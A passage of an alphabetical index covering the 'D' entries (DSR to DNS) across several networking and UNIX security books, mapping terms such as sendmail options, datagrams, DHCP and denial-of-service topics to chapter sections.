Data Set Ready (DSR) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
Data Terminal Ready (DTR)
Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
TCP/IP Network Administration, A.2. The PPP Daemon
data terminology : TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
data-driven attacks : Building Internet Firewalls, 8.1. Electronic Mail
database files : Practical UNIX & Internet Security, 1.2. What Is an Operating System?
database macros : sendmail, 33. Database Macros
databases : (see networks and networking, databases, network)
classes for : sendmail, 33.8. Alphabetized Reference
external (keyed)
sendmail, 5.3.11. Keyed Databases
sendmail, 20.3. Alphabetized V8.8 Subroutines
K command types : sendmail, 33.3.2. The class
library support : sendmail, 18.4.1. DBMDEF=
m4 and : sendmail, 33.6. Database Maps and m4
/map rule-testing command : sendmail, 38.5.3. Look up a Database Item with /map
sendmail : TCP/IP Network Administration, 10.6.2.1. Transforming with a database
User Database
sendmail, 33.5. The User Database
sendmail, 33.8. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
datagrams
Building Internet Firewalls, C.5.1.1. The datagram
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 1.7. Application Layer
(see also IP datagrams)
(see also User Datagram Protocol)
connectionless delivery of : TCP/IP Network Administration, 1.6. Transport Layer
converting source address of : TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
forwarding : TCP/IP Network Administration, 5.3.1.1. Options
fragmented
Building Internet Firewalls, C.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
headers
TCP/IP Network Administration, 2.7.1. Protocol Numbers
TCP/IP Network Administration, 2.7.2. Port Numbers
marking end of : TCP/IP Network Administration, 6.2.1. The Serial Protocols
routing : TCP/IP Network Administration, 1.5.1.2. Routing datagrams
silently discarding : TCP/IP Network Administration, 11.8. Protocol Case Study
date : (see time and date)
date command
Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
Practical UNIX & Internet Security, 24.5.1. Never Trust Anything Except Hardcopy
"Date:" header line
sendmail, 1.5. The Header
sendmail, 14.2.2. The Date: Header
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.10. Alphabetized Reference
day-zero backups : Practical UNIX & Internet Security, 7.1.3. Types of Backups
db library package
sendmail, 2.4.1. Eliminate or Keep db Support?
sendmail, 18.8. Alphabetized Reference
sendmail, C.1. Overview
compiling and installing : sendmail, C.3. Compile and Install
dbm database : sendmail, 33.8. Alphabetized Reference
alias file and
sendmail, 22.6.1. The Alias Database Files
sendmail, 24.5. The Aliases Database
dbx debugger : Practical UNIX & Internet Security, C.4. The kill Command
DCC (Direct Client Connections) : Building Internet Firewalls, 8.9.2. Internet Relay Chat
DCD (Data Carrier Detect) modem control line : TCP/IP Network Administration, A.2. The PPP Daemon
DCE (data communication equipment) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
DCE (Distributed Computing Environment)
Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Practical UNIX & Internet Security, 8.7.3. Code Books
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
Practical UNIX & Internet Security, 19.2. Sun's Remote Procedure Call (RPC)
Practical UNIX & Internet Security, 19.7.1. DCE
dd command
Practical UNIX & Internet Security, 6.6.1.2. Ways of improving the security of crypt
Practical UNIX & Internet Security, 7.4.1. Simple Local Copies
DDN (Data Defense Network)
Building Internet Firewalls, C.10. Internet Routing Architecture
Practical UNIX & Internet Security, F.3.4.20. MILNET
TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
Protocol Handbook : TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
deadlock : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
debug command
Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
sendmail, 22.3.1. SMTP debug
debug_dumpstate rule set : sendmail, 26.3.3.3. -- ruleset debug_dumpstate returns stat ..., pv: --
debugfs command : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
debugging
Building Internet Firewalls, 6.1.2.1. Current filtering tools are not perfect
sendmail, 4.3. Debugging (-d)
sendmail, 6.3.3. Testing the New Delivery Agent Definitions
sendmail, 37.2. Debugging Behavior
TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
TCP/IP Network Administration, C.1.1. Signal Processing
(see also bugs)
(see also -d switch (sendmail))
(see also testing)
(see also troubleshooting)
operating system : Building Internet Firewalls, 5.8.1.2. Fix all known system bugs
with rule testing : sendmail, 38.7. Add Debugging for Detail
SMTPDEBUG macro
sendmail, 18.8. Alphabetized Reference
sendmail, 22.3.1. SMTP debug
debugging mode : sendmail, 36.7. Alphabetized Reference
DEC (Digital Equipment Corporation) : Practical UNIX & Internet Security, F.3.4.9. DEC (Digital Equipment Corporation)
decentralizing management : TCP/IP Network Administration, 2.3. Subnets
declaring
classes
sendmail, 12.1.1. Declaring a Class
sendmail, 32.1. Class Configuration Commands
delivery agents : sendmail, 19.3.2. MAILER()
macros
sendmail, 7.2. Defining Macros
sendmail, 31.2. Command-Line Definitions
sites for SITECONFIG : sendmail, 19.6. Alphabetized m4 Macros
trusted users : (see T configuration command)
DECnet network
Practical UNIX & Internet Security, 16.4.3. DECnet
sendmail, 3.3.3. Other Protocols
$C macro : sendmail, 31.10. Alphabetized Reference
DECNET-RELAY macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
decode alias
Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
sendmail, 22.6. The Aliases File
decryption
TCP/IP Network Administration, 12.6. Encryption
(see encryption)
dedicated connections
TCP/IP Network Administration, 6.3.1. The PPP Daemon
TCP/IP Network Administration, 6.4. Installing SLIP
dedicated proxy servers : Building Internet Firewalls, 7.3.2. Generic Versus Dedicated Proxies
defamation : Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
default
accounts : Practical UNIX & Internet Security, 8.1.2. Default Accounts
canonicalization : sendmail, 28.6.6.2. Default in canonicalization: $:
character set : sendmail, 30.4. The Equates
content-type character set : sendmail, 34.8. Alphabetized Reference
database key : sendmail, 33.4.1. Specify a Default with $:
delivery agent : sendmail, 34.8. Alphabetized Reference
delivery mode : sendmail, 13.2.3. The Default Delivery Mode
deny : Practical UNIX & Internet Security, 21.1.1. Default Permit vs. Default Deny
domain
Practical UNIX & Internet Security, 16.2.3. Hostnames
TCP/IP Network Administration, 3.3.3. Domain Names
TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
how used : TCP/IP Network Administration, 3.3.3. Domain Names
file permissions : sendmail, 13.2.4. The Default File Permissions
gateway
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 4.3. Planning Routing
address : TCP/IP Network Administration, 4. Getting Started
hostname : sendmail, 33.5.3. A :default Outgoing Hostname
logging level : sendmail, 13.2.6. The Default Logging Level
macro definitions : sendmail, 7.3. Predefined Macros
mask : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
passwords : TCP/IP Network Administration, 12.2. User Authentication
permit : Practical UNIX & Internet Security, 21.1.1. Default Permit vs. Default Deny
route
TCP/IP Network Administration, 2.2.2.1. Final notes on IP addresses
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 7.3. Building a Static Routing Table
defining : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
sender's address format : sendmail, 31.10. Alphabetized Reference
User Database location : sendmail, 18.8. Alphabetized Reference
user identity
sendmail, 13.2.5. The Default User Identities
sendmail, 22.8.3.1. The DefaultUser option
sendmail, 34.8. Alphabetized Reference
values : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
default deny stance
Building Internet Firewalls, 3.5.1. Default Deny Stance: That Which Is Not
Building Internet Firewalls, 6.2.3. Default Permit Versus Default Deny
default permit stance
Building Internet Firewalls, 3.5.2. Default Permit Stance: That Which Is
Building Internet Firewalls, 6.2.3. Default Permit Versus Default Deny
DefaultCharSet option : sendmail, 34.8. Alphabetized Reference
defaultdomain file : TCP/IP Network Administration, 9.3. Network Information Service
defaultroute option : TCP/IP Network Administration, 6.3.1. The PPP Daemon
DefaultUser (u,g) option
sendmail, 13.2.5. The Default User Identities
sendmail, 22.8.3.1. The DefaultUser option
sendmail, 34.8. Alphabetized Reference
Defense Communications Agency (DCA) : TCP/IP Network Administration, 1.1. TCP/IP and the Internet
Defense Data Network (DDN) : Building Internet Firewalls, C.10. Internet Routing Architecture
defense in depth
Building Internet Firewalls, 3.2. Defense in Depth
Building Internet Firewalls, 9.2.3.2. Defense in depth
define() : sendmail, 20.3. Alphabetized V8.8 Subroutines
define macro (in sendmail)
TCP/IP Network Administration, E.3. m4 sendmail Macros
TCP/IP Network Administration, E.3.1. define
define statements (m4)
sendmail, 19.1. The m4 Preprocessor
sendmail, 19.4.1. Options
defining
headers : (see H configuration command)
macros
sendmail, 20.3. Alphabetized V8.8 Subroutines
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
sendmail, 38.2.1. Define a Macro with .D
definition statements (in gated) : TCP/IP Network Administration, B.7. Definition Statements
delay= equate (syslog output) : sendmail, 26.1.3.2. delay= total time to deliver
delay, transaction : sendmail, 26.1.3.13. xdelay= transaction
delays, inserting
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
DELETE key : Practical UNIX & Internet Security, 3.4. Changing Your Password
deleting
destructive attack via : Practical UNIX & Internet Security, 25.1. Destructive Attacks
files : Practical UNIX & Internet Security, 5.4. Using Directory Permissions
header lines : sendmail, 20.3. Alphabetized V8.8 Subroutines
delimiters
database key column : sendmail, 33.3.4.12. -z specify the column delimiter (V8.7 and above)
tokens
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
"Delivered-To:" header line : sendmail, 35.10. Alphabetized Reference
delivermail program : sendmail, History
delivery
sendmail, 19.6. Alphabetized m4 Macros
(see also users)
alias, forms of : sendmail, 24.2. Forms of Alias Delivery
failure count : sendmail, 23.9. The qf File Internals
via FAX machine : sendmail, 3.3.3. Other Protocols
to files : (see appending to files)
local
sendmail, 3.2. Role in Local Delivery
sendmail, 29.6.3. Delivering to Local Recipient
sendmail, 30.8. Alphabetized F= Flags
(see local)
looking up addresses with DNS : sendmail, 21.2.3. Look Up Addresses for Delivery
to mailbox : sendmail, 3.2.1. Delivery to a Mailbox
to multiple recipients : sendmail, 30.8. Alphabetized F= Flags
path of : (see "Received:" header line)
precedence : (see priority, message)
to programs
sendmail, 3.2.2. Delivery Through a Program
sendmail, 24.2.3. Delivery via Programs
sendmail, 25.7.4. Piping Through Programs
sendmail, 30.8. Alphabetized F= Flags
relays : (see relays)
single threaded : sendmail, 34.8. Alphabetized Reference
total time for : sendmail, 26.1.3.2. delay= total time to deliver
delivery agents (MTAs)
Building Internet Firewalls, 8.1. Electronic Mail
sendmail, 1.1. MUA Versus MTA
sendmail, 5.3.1. Mail Delivery Agents
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 30. Delivery Agents
(see also M configuration command)
$# operator and
sendmail, 9.2.1. The Delivery Agent ($#)
sendmail, 28.6.5. Specify a Delivery Agent: $#
advantages to sendmail : sendmail, 18.1. To Use or Not to Use
choosing
sendmail, 9. Rule Set 0
sendmail, 9.5. Things to Try
declaring : sendmail, 19.3.2. MAILER()
default : sendmail, 34.8. Alphabetized Reference
equates for : sendmail, 30.4. The Equates
for errors : sendmail, 9.4. The error Delivery Agent
expensive
sendmail, 23.6.1. Periodically with -q
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
flags
sendmail, 6.3. The local Delivery Agent
sendmail, 6.4. Add the Missing Parts to Mhub
sendmail, 14.2. Headers Versus Delivery Agent Flags
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.4. ?flags? in Header Definitions
ignoring MX records : sendmail, 21.3.5. What? They Ignore MX Records?
local
sendmail, 6.3. The local Delivery Agent
sendmail, 19.6. Alphabetized m4 Macros
logging : sendmail, 26.1.3.4. mailer= the delivery agent used
printing list of : sendmail, 38.4.2. Show Delivery Agents with =M
as recipients : sendmail, 30.8. Alphabetized F= Flags
scripts via : sendmail, 24.3. Write a Delivery Agent Script
statistics : (see statistics)
symbolic name : sendmail, 30.2. The Symbolic Name
testing : sendmail, 38.5.6. Try a Delivery Agent with /try
UUCP : sendmail, 19.4.6. UUCP
delivery mode : sendmail, 13.2.3. The Default Delivery Mode
delivery program : sendmail, 25.7.5.1. The deliver program
Delivery Status Notification : (see DSN)
DeliveryMode (d) option
sendmail, 13.2.3. The Default Delivery Mode
sendmail, 23.6.1. Periodically with -q
sendmail, 34.8. Alphabetized Reference
Demilitarized Zone (DMZ) : Building Internet Firewalls, 4.1. Some Firewall Definitions
demo accounts : Practical UNIX & Internet Security, 8.1.2. Default Accounts
demultiplexing : TCP/IP Network Administration, 2.7. Protocols, Ports, and Sockets
denial of service
Building Internet Firewalls, 1.2.1.2. Denial of Service
Practical UNIX & Internet Security, 1.5. Role of This Book
Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
Practical UNIX & Internet Security, 17.3.21.5. Denial of service attacks under X
Practical UNIX & Internet Security, 25. Denial of Service Attacks and Solutions
Practical UNIX & Internet Security, 25.3. Network Denial of Service Attacks
Practical UNIX & Internet Security, 25.3.4. Clogging
TCP/IP Network Administration, 12.1.1. Assessing the Threat
accidental
Building Internet Firewalls, 1.2.3. Stupidity and Accidents
Practical UNIX & Internet Security, 25.2.5. Soft Process Limits: Preventing Accidental Denial
automatic lockout : Practical UNIX & Internet Security, 3.3. Entering Your Password
checklist for : Practical UNIX & Internet Security, A.1.1.24. Chapter 25: Denial of Service Attacks and Solutions
destructive attacks : Practical UNIX & Internet Security, 25.1. Destructive Attacks
disk attacks
Practical UNIX & Internet Security, 25.2.2. Disk Attacks
Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
inodes : Practical UNIX & Internet Security, 25.2.2.3. Inode problems
internal inetd services : Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
on networks
Practical UNIX & Internet Security, 25.3. Network Denial of Service Attacks
Practical UNIX & Internet Security, 25.3.4. Clogging
overload attacks
Practical UNIX & Internet Security, 25.2. Overload Attacks
Practical UNIX & Internet Security, 25.2.5. Soft Process Limits: Preventing Accidental Denial
via syslog : Practical UNIX & Internet Security, 10.5.1. The syslog.conf Configuration File
system overload attacks : Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
X Window System : Practical UNIX & Internet Security, 17.3.21.5. Denial of service attacks under X
departure of employees : Practical UNIX & Internet Security, 13.2.6. Departure
depository directories, FTP : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
dequote database
sendmail, 33.8. Alphabetized Reference
TCP/IP Network Administration, 10.7.1. Modifying Local Information
DES (Data Encryption Standard)
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.4.4. DES
Practical UNIX & Internet Security, 6.4.5.2. Triple DES
Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
Practical UNIX & Internet Security, 7.4.4. Encrypting Your Backups
Practical UNIX & Internet Security, 8.6.1. The crypt()
(see also authentication)
authentication (NIS+) : Practical UNIX & Internet Security, 19.5.4. Using NIS+
improving security of
Practical UNIX & Internet Security, 6.4.5. Improving the Security of DES
Practical UNIX & Internet Security, 6.4.5.2. Triple DES
designated router : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
designing firewalls : Building Internet Firewalls, 1.4.3. Buying Versus Building
destination
TCP/IP Network Administration, 1.7. Application Layer
(see also unreachable destinations, detecting)
fields : TCP/IP Network Administration, 2.5. The Routing Table
host : TCP/IP Network Administration, 2.5. The Routing Table
Destination Address
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 2.2. The IP Address
Destination Port number
TCP/IP Network Administration, 1.6.1. User Datagram Protocol
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
destination unreachable codes : (see ICMP)
Destination Unreachable Message : TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
destroying media : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
destructive attacks : Practical UNIX & Internet Security, 25.1. Destructive Attacks
detached signatures : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
detail data, DSN delivery : sendmail, 30.5.2.1. The $@ dsn part
detectors
cable tampering : Practical UNIX & Internet Security, 12.3.1.1. Wiretapping
carbon-monoxide : Practical UNIX & Internet Security, 12.2.1.2. Smoke
humidity : Practical UNIX & Internet Security, 12.2.1.11. Humidity
logging alarm systems : Practical UNIX & Internet Security, 10.7.1.1. Exception and activity reports
smoke : Practical UNIX & Internet Security, 12.2.1.2. Smoke
temperature alarms : Practical UNIX & Internet Security, 12.2.1.6. Temperature extremes
water sensors : Practical UNIX & Internet Security, 12.2.1.12. Water
Deutsches Forschungsnetz : Practical UNIX & Internet Security, F.3.4.14. Germany: DFN-WiNet Internet sites
/dev directory
Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
/dev/audio device : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
/dev/console device : Practical UNIX & Internet Security, 5.6. Device Files
/dev/kmem device
Practical UNIX & Internet Security, 5.6. Device Files
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
sendmail, 18.8. Alphabetized Reference
/dev/null device
Practical UNIX & Internet Security, 5.6. Device Files
sendmail, 5.2. The Minimal File
/dev/random device : Practical UNIX & Internet Security, 23.7.4. Other random number generators
/dev/swap device : Practical UNIX & Internet Security, 5.5.1. SUID, SGID, and Sticky Bits
/dev/urandom device : Practical UNIX & Internet Security, 23.7.4. Other random number generators
device statement : TCP/IP Network Administration, 5.3.1.3. Devices
devices : Practical UNIX & Internet Security, 5.6. Device Files
managing with SNMP : Practical UNIX & Internet Security, 17.3.15. Simple Network Management Protocol (SNMP) (UDP Ports
modem control : Practical UNIX & Internet Security, 14.5.2. Setting Up the UNIX Device
numbers for : sendmail, 23.9. The qf File Internals
Devices file : Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
df -i command : Practical UNIX & Internet Security, 25.2.2.3. Inode problems
df files
sendmail, 3.1.2. The Queue Directory
sendmail, 23.2.2. The Data (Message Body) File: df
sendmail, 23.9. The qf File Internals
inode and device information : sendmail, 23.9. The qf File Internals
dfstab file
TCP/IP Network Administration, 9.1.2.1. The share command
TCP/IP Network Administration, 9.1.5.1. NFS print services
dgram sockets : TCP/IP Network Administration, 5.4. The Internet Daemon
DHCP (Dynamic Host Configuration Protocol)
TCP/IP Network Administration, Preface
TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
interoperability and : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
backwards-compatible : TCP/IP Network Administration, 9.5. DHCP
based on Bootstrap Protocol (BOOTP) : TCP/IP Network Administration, 9.4.2. BOOTP extensions
benefits of : TCP/IP Network Administration, 9.5. DHCP
daemon (dhcpd) : TCP/IP Network Administration, 9.5.1. dhcpd.conf
command : TCP/IP Network Administration, D.2. The dhcpd Command
compiling : TCP/IP Network Administration, D.1. Compiling dhcpd
configuring : TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
tools reference : TCP/IP Network Administration, D. A dhcpd Reference
using latest versions of : TCP/IP Network Administration, D. A dhcpd Reference
dhcpd.conf file : TCP/IP Network Administration, 9.5.1. dhcpd.conf
dhcpd.pid file : TCP/IP Network Administration, D.2. The dhcpd Command
options available with : TCP/IP Network Administration, D.3.3. DHCP Options
commonly used : TCP/IP Network Administration, D.3.3.1. Commonly used options
others : TCP/IP Network Administration, D.3.3.2. Other options
diagnostic tools : TCP/IP Network Administration, 11.2. Diagnostic Tools
diagramming the system : Building Internet Firewalls, 13.5.2. Labeling and Diagraming Your System
dial-up connections : TCP/IP Network Administration, 6.3.1. The PPP Daemon
dial-up IP (dip)
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
TCP/IP Network Administration, 6.4.2. Dial-Up IP
script file : TCP/IP Network Administration, A.1.1. The dip Script File
for SLIP : TCP/IP Network Administration, 6.4.2. Dial-Up IP
sample : TCP/IP Network Administration, A.1.1.1. A sample dip script
special variables, listed : TCP/IP Network Administration, A.1.1. The dip Script File
tools reference : TCP/IP Network Administration, A.1. Dial-Up IP
dial-up PPP : TCP/IP Network Administration, 6.3.2. Dial-Up PPP
DialDelay option : sendmail, 34.8. Alphabetized Reference
dictionary attacks
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 8.6.1. The crypt()
TCP/IP Network Administration, 12.2. User Authentication
Diffie-Hellman key exchange system
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
Practical UNIX & Internet Security, 19.3. Secure RPC (AUTH_DES)
breaking key : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
exponential key exchange : Practical UNIX & Internet Security, 19.3.1. Secure RPC Authentication
dig
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.6.4. dig: An Alternative to nslookup
digest multipart subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Digital Audio Tape (DAT) : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
digital computers : Practical UNIX & Internet Security, 6.1.2. Cryptography and Digital Computers
Digital Equipment Corporation (DEC) : Practical UNIX & Internet Security, F.3.4.9. DEC (Digital Equipment Corporation)
Digital Signature Algorithm : (see DSA)
digital signatures
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.5. Message Digests and Digital Signatures
Practical UNIX & Internet Security, 6.5.5.2. Message authentication codes
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
TCP/IP Network Administration, 12.6. Encryption
checksums
Building Internet Firewalls, 5.8.5.3. About checksums for auditing
Practical UNIX & Internet Security, 6.5.5.1. Checksums
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP/IP Network Administration, 11.8. Protocol Case Study
keeping secure : Building Internet Firewalls, 13.5.3. Keeping Secured Checksums
recalculating
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 5.3.1.1. Options
using Tripwire for : Building Internet Firewalls, 5.8.5.1. Auditing packages
detached signatures : Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
with PGP : Practical UNIX & Internet Security, 6.6.3.4. Adding a digital signature to an announcement
Digital UNIX
Practical UNIX & Internet Security, 1.3. History of UNIX
(see also Ultrix)
Dijkstra Shortest Path First (SPF) algorithm : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
dip (dial-up IP)
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
TCP/IP Network Administration, 6.4.2. Dial-Up IP
script file : TCP/IP Network Administration, A.1.1. The dip Script File
for SLIP : TCP/IP Network Administration, 6.4.2. Dial-Up IP
sample : TCP/IP Network Administration, A.1.1.1. A sample dip script
tools reference : TCP/IP Network Administration, A.1. Dial-Up IP
diphosts file : TCP/IP Network Administration, 6.4.3. SLIP Server Configuration
diplogin command : TCP/IP Network Administration, 6.4.3. SLIP Server Configuration
Direct Client Connections (DCC) : Building Internet Firewalls, 8.9.2. Internet Relay Chat
direct delivery : TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
directive statements (in gated) : TCP/IP Network Administration, B.3. Directive Statements
directives, Makefile : sendmail, 18.4. Tuning Makefile
directories
Practical UNIX & Internet Security, 5.1.1. Directories
Practical UNIX & Internet Security, 5.1.3. Current Directory and Paths
ancestor : Practical UNIX & Internet Security, 9.2.2.2. Ancestor directories
backing up by : Practical UNIX & Internet Security, 7.1.3. Types of Backups
CDFs (context-dependent files) : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
cf : sendmail, 16.1. The cf/cf Directory
checklist for : Practical UNIX & Internet Security, A.1.1.4. Chapter 5: The UNIX Filesystem
dot, dot-dot, and / : Practical UNIX & Internet Security, 5.1.1. Directories
FTP depositories : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
immutable : Practical UNIX & Internet Security, 9.1.1. Immutable and Append-Only Files
listing automatically (Web) : Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
mounted
Practical UNIX & Internet Security, 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
Practical UNIX & Internet Security, 19.3.2.5. Mounting a secure filesystem
nested : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
NFS : (see NFS)
permissions : Practical UNIX & Internet Security, 5.4. Using Directory Permissions
queue : (see queue directory)
read-only : Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
recipient's home : sendmail, 31.10. Alphabetized Reference
requirement for mounting : TCP/IP Network Administration, 9.1.3. Mounting Remote Filesystems
restricted
Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
Practical UNIX & Internet Security, 8.1.5.2. Checking new software
root : (see root directory)
for safe file writes : sendmail, 34.8. Alphabetized Reference
SGI and sticky bits on : Practical UNIX & Internet Security, 5.5.6. SGID and Sticky Bits on Directories
Web server structure of
Practical UNIX & Internet Security, 18.2.2. Understand Your Server's Directory Structure
Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
world-writable : Practical UNIX & Internet Security, 11.6.1.1. World-writable user files and directories
directory statement : TCP/IP Network Administration, 8.3.1.2. Primary and secondary server configurations
<Directory> blocks
Practical UNIX & Internet Security, 18.3.1. The access.conf and .htaccess Files
Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
Practical UNIX & Internet Security, 18.3.2.1. Examples
disabling Internet services : Building Internet Firewalls, 5.8.2. Disabling Nonrequired Services
disabling routing : (see routers and routing, disabling)
disasters and disaster recovery
Practical UNIX & Internet Security, 12.2.6.4. Minimizing downtime
sendmail, 21.5. Prepare for Disaster
TCP/IP Network Administration, 11.10. Summary
TCP/IP Network Administration, 12.1.1. Assessing the Threat
TCP/IP Network Administration, 12.1.3. Writing a Security Policy
TCP/IP Network Administration, 12.8. Words to the Wise
disclosure of information, threat of : TCP/IP Network Administration, 12.1.1. Assessing the Threat
disconnecting after incident : Building Internet Firewalls, 13.1.2. Disconnect or Shut Down, as
disconnecting machine : Building Internet Firewalls, 13.4.3. Planning for Disconnecting or
disk attacks
Practical UNIX & Internet Security, 25.2.2. Disk Attacks
Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
disk quotas : Practical UNIX & Internet Security, 25.2.2.5. Using quotas
disk space : (see memory; resources)
diskettes : (see backups; media)
disks, needs for : Building Internet Firewalls, 5.3.3. What Hardware Configuration?
dismissed employees : Practical UNIX & Internet Security, 13.2.6. Departure
dismounting directories, by booting : TCP/IP Network Administration, 9.1.3.1. The mount command
disposing of materials : Practical UNIX & Internet Security, 12.3.3. Other Media
Distfile : TCP/IP Network Administration, 9.6.1. rdist
distributed
architecture : TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
control : TCP/IP Network Administration, 12.1.2. Distributed Control
servers, managing : TCP/IP Network Administration, 9.6. Managing Distributed Servers
Distributed Computing Environment : (see DCE)
Distributed File System (DFS) : TCP/IP Network Administration, 3.7.1. File Sharing
distributing public keys : TCP/IP Network Administration, 12.6. Encryption
diversity of defense systems : Building Internet Firewalls, 3.7. Diversity of Defense
divert command (m4)
sendmail, 19.1.4. m4 diversions
sendmail, 19.6. Alphabetized m4 Macros
dividing problem into manageable pieces : TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
DMBDEF variable : TCP/IP Network Administration, E.4.4. The sendmail K Command
DMBDEF= directive : sendmail, 18.4.1. DBMDEF=
dmesg command : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
DMZ (Demilitarized Zone) : Building Internet Firewalls, 4.1. Some Firewall Definitions
dnl command (m4) : sendmail, 19.1.2. m4 and dnl
DNS (Domain Name Service)
Building Internet Firewalls, 2.9. Name Service
Building Internet Firewalls, 5.6. Selecting Services Provided by the
Practical UNIX & Internet Security, 16.2.6. Name Service
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
Practical UNIX & Internet Security, 17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
sendmail, 17.2.1. Is the Host Local?
sendmail, 21.1. Overview
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 3.1. Names and Addresses
TCP/IP Network Administration, 3.3. Domain Name Service
(see also name service)
benefits of
TCP/IP Network Administration, 3.3. Domain Name Service
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
bestmx_is_local feature : sendmail, 19.6. Alphabetized m4 Macros
configuring : Building Internet Firewalls, 8.10. Domain Name System
in screened host architecture : Building Internet Firewalls, 9.2.1.6. DNS
in screened subnet architecture : Building Internet Firewalls, 9.1.1.6. DNS
without hiding information : Building Internet Firewalls, 8.10.6. Setting up DNS Without Hiding
data : Building Internet Firewalls, 8.10.3. DNS Data
disasters : sendmail, 21.5. Prepare for Disaster
eliminating support for : sendmail, 2.4.2. Eliminate DNS Support
error numbers : sendmail, B.1. Status file lines
fake server : Building Internet Firewalls, 8.10.5.1. Set up a `fake'
hiding information with : Building Internet Firewalls, 8.10.5. Setting Up DNS to Hide
MX records
Building Internet Firewalls, 8.10.5.1. Set up a `fake'
